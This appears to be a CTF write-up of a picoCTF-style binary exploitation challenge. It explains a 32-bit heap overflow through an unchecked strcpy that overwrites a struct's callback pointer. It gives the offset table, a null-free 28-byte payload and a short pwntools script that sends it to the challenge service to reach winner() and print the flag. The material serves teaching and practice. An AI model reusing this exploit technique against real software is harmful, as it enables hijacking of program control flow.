
Binary Exploitation | GDB | CyLab CTF | Hard
RAMESH
0 followers

Also we can also see that struct second field stores address of name memory.
Before touching the overflow, it's worth writing out exactly what struct internet looks like in memory on this 32-bit binary:
struct internet {
int priority; // offset 0, 4 bytes
char *name; // offset 4, 4 bytes
void (*callback)(); // offset 8, 4 bytes
};That's 12 bytes per struct. Combined with the addresses we pulled from GDB earlier:
i1 struct → 0x804d5f0i1->name (heap chunk, malloc(8)) → 0x804d600 (+0x10 from i1)i2 struct → 0x804d610 (+0x10 from i1->name)i2->name (heap chunk, malloc(8)) → 0x804d620 (+0x10 from i2)Every allocation lands exactly 0x10 (16) bytes after the previous one — regardless of whether the actual request was 8 or 12 bytes. That's just glibc's minimum chunk granularity on 32-bit doing its thing (8-byte header + 8-byte minimum usable size, rounded up). This uniform spacing is the key to the whole exploit: it means the distance from i1->name to any field inside i2 is predictable and doesn't depend on us leaking anything at runtime.
So walking forward from the start of i1->name's buffer:
Offset from i1->name | Target field |
|---|---|
| 0–7 | i1->name buffer itself (8 bytes) |
| 8–15 | heap chunk header/padding for i2's chunk |
| 16–19 | i2->priority |
| 20–23 | i2->name |
| 24–27 | i2->callback |
strcpy(i1->name, argv[1]) copies argv[1] into an 8-byte heap buffer with no length check. Since strcpy doesn't stop until it hits a null terminator, feeding it more than 8 bytes walks straight past the end of i1's chunk and into i2's struct — which sits right next door on the heap. And because i2->callback is a raw function pointer that gets called unconditionally right after both strcpys run:
if (i1->callback) i1->callback();
if (i2->callback) i2->callback();...if we can land a controlled value in i2->callback, we get to redirect execution to any address we want. winner() — which reads flag.txt and prints it — is sitting right there in the binary, never called from main, waiting for exactly this.
Based on the offset table above, the payload for argv[1] needs to be:
i1->name's buffer and eats the heap metadata/padding in front of i2, getting us up to the start of i2's struct.i2->priority — don't care about the value here, it's never checked meaningfully. Padding.i2->name — overwritten with 0x0804c040. This matters because i1's strcpy runs before i2's strcpy(i2->name, argv[2]) — so by the time argv[2] gets copied, i2->name is already pointing wherever we put it. We just need it to point somewhere writable so the second strcpy doesn't segfault before we ever reach the callback check.i2->callback — overwritten with 0x080492b6, our target address inside winner().payload = b'A' * 16 + b'B' * 4 + p32(0x0804c040) + p32(0x080492b6)28 bytes total, which lines up exactly with 16 + 4 + 4 + 4.
This challenge doesn't hand you input over a raw file or a buffer you control byte-for-byte — it's read as a line of text over the network (the remote service splits it into argv[1]/argv[2] before exec'ing the binary). That means every byte in the payload has to survive being treated as a plain ASCII/text stream: a literal 0x00 byte acts as a terminator, and anything after it in that token gets silently dropped. In practice, this rules out using any address whose little-endian byte representation contains a 0x00 — a real problem on a 32-bit ELF with an image base like 0x08048000, since almost every "clean" address in that range has a null in its top byte.
The fix is simple in principle: instead of using an address that happens to contain a null byte, find a different address that still gets you to the same result but is null-free.
0x0804c040 → bytes 40 c0 04 08 — no nulls.0x080492b6 → bytes b6 92 04 08 — no nulls.For the callback target specifically, this meant not just grabbing winner's symbol address straight out of objdump -d, but disassembling around it and picking a nearby instruction offset that (a) has no 0x00 byte anywhere in its encoding, and (b) still lands inside winner() before the code path that opens and prints flag.txt runs. A few bytes into a function's prologue is usually safe to jump to as long as you're not skipping something that sets up state the rest of the function depends on — in this case it wasn't, and the flag still printed cleanly.
from pwn import *
import sys
payload = b'A' * 16 + b'B' * 4 + p32(0x0804c040) + p32(0x080492b6)
print(payload)
r = remote('foggy-cliff.picoctf.net', sys.argv[1])
print(r.recvuntil(b"space:").decode())
r.sendline(payload + b" hello")
print(r.recvuntil(b"space:").decode())
r.send(payload + b" " + b"world")
print(r.recvall(timeout=4).decode(errors="replace"))Run it with the port picoCTF assigns for the challenge instance:
$ python3 exploit.py <port>The overflow corrupts i2's struct before either strcpy call finishes doing its damage, i2->callback gets called with our address instead of NULL, and execution jumps into winner() — which happily reads and prints the contents of flag.txt.
strcpy overflow is enough to hijack control flow. No ROP chain needed.